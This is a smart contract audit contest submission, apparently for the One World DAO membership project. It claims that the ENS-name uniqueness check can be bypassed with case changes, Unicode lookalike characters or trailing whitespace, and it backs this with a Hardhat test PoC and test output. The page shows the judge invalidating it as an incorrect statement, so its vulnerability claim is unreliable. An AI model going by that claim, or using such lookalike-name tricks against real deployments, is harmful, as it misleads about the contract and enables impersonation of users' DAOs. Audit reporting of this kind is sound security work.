Project

One World
NFTDeFi
15,000 USDC
View results
Submission Details
Severity: medium
Invalid

The check for ENS Name can Bypass via Unicode by manipulating the ensname with case sensitivity

Summary

The ENS name check in the contract is vulnerable to manipulation cause there is a lack of normalization and sanitization. so an Attackers can bypass the uniqueness check using case sensitivity, and Unicode characters, or whitespace variations. as result this allows them to create visually identical or near-identical DAOs, enabling impersonation and potential exploitation of users.

Vulnerability Details

this check on the function createNewDAOMembership is use to Checks if the ensname provided by the user already maps to an existing address, but If the user provides a manipulated string as an example with Unicode characters, or extra spaces, or different casing, the check will fail to detect the duplicates.
so the use of this check on the fucntion is not robust is weak and can be bypass

require(getENSAddress[daoConfig.ensname] == address(0), "DAO already exist.");

Impact

the issue is can allow Attackers to create malicious DAOs that visually mimic legitimate ones, misleading users.

  • Path to attack:

  • let's say Alice creates a DAO with a legitimate ENS name, and example testdao.eth.

  • Bob manipulates the ENS name, as TestDao.eth and successfully creates a new DAO.

  • so Users may be misled into interacting with Bob’s fraudulent DAO, mistaking it for Alice’s legitimate DAO.

poc

here is a poc show the problem

const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("MembershipFactory", function () {
let membershipFactory: any, currencyManager: any, testERC20: any;
let owner: any, addr1: any, addr2: any;
let DAOType: any, DAOConfig: any, TierConfig: any;
beforeEach(async function () {
[owner, addr1, addr2] = await ethers.getSigners();
// Deploy CurrencyManager
const CurrencyManager = await ethers.getContractFactory("CurrencyManager");
currencyManager = await CurrencyManager.deploy();
await currencyManager.deployed();
// Deploy MembershipERC1155
const MembershipERC1155 = await ethers.getContractFactory("MembershipERC1155");
const membershipImplementation = await MembershipERC1155.deploy();
await membershipImplementation.deployed();
// Deploy MembershipFactory
const MembershipFactory = await ethers.getContractFactory("MembershipFactory");
membershipFactory = await MembershipFactory.deploy(
currencyManager.address,
owner.address,
"https://baseuri.com/",
membershipImplementation.address
);
await membershipFactory.deployed();
// Deploy Test ERC20
const TestERC20 = await ethers.getContractFactory("OWPERC20");
testERC20 = await TestERC20.deploy("OWP", "OWP");
await testERC20.deployed();
// Initialize DAOConfig and TierConfig
DAOType = { GENERAL: 0, PRIVATE: 1, SPONSORED: 2 };
DAOConfig = {
ensname: "testdao.eth",
daoType: DAOType.GENERAL,
currency: testERC20.address,
maxMembers: 100,
noOfTiers: 3,
};
TierConfig = [
{ price: 300, amount: 10, minted: 0, power: 12 },
{ price: 200, amount: 10, minted: 0, power: 6 },
{ price: 100, amount: 10, minted: 0, power: 3 },
];
// Whitelist the Test ERC20 currency
await currencyManager.addCurrency(testERC20.address);
});
it("Should bypass uniqueness check with case manipulation", async function () {
// Create a DAO with lowercase ENS name
await membershipFactory.createNewDAOMembership(DAOConfig, TierConfig);
// Try to create another DAO with uppercase ENS name
const maliciousDaoConfig = { ...DAOConfig, ensname: "TestDao.eth" };
await expect(
membershipFactory.createNewDAOMembership(maliciousDaoConfig, TierConfig)
).to.not.be.reverted; // Transaction succeeds
});
it("Should bypass uniqueness check with Unicode manipulation", async function () {
// Create a DAO with normal ENS name
await membershipFactory.createNewDAOMembership(DAOConfig, TierConfig);
// Try to create another DAO with Unicode-modified ENS name
const maliciousDaoConfig = { ...DAOConfig, ensname: "testd𝚊o.eth" };
await expect(
membershipFactory.createNewDAOMembership(maliciousDaoConfig, TierConfig)
).to.not.be.reverted; // Transaction succeeds
});
it("Should bypass uniqueness check with trailing whitespace", async function () {
// Create a DAO with normal ENS name
await membershipFactory.createNewDAOMembership(DAOConfig, TierConfig);
// Try to create another DAO with trailing whitespace in ENS name
const maliciousDaoConfig = { ...DAOConfig, ensname: "testdao.eth " };
await expect(
membershipFactory.createNewDAOMembership(maliciousDaoConfig, TierConfig)
).to.not.be.reverted; // Transaction succeeds
});
});

here is the result i use npx hardhat test test/Membershipexploit.test.ts

$ npx hardhat test test/Membershipexploit.test.ts
MembershipFactory
Should bypass uniqueness check with case manipulation (32ms)
Should bypass uniqueness check with Unicode manipulation (26ms)
Should bypass uniqueness check with trailing whitespace (24ms)
3 passing (1s)

Tools Used

  • manual review

Recommendations

can mitigate this by normalize the ensname before use and restrict valid characters to a safe subset.
also can use Use hash-based keys in mappings.

Updates

Lead Judging Commences

0xbrivan2 Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!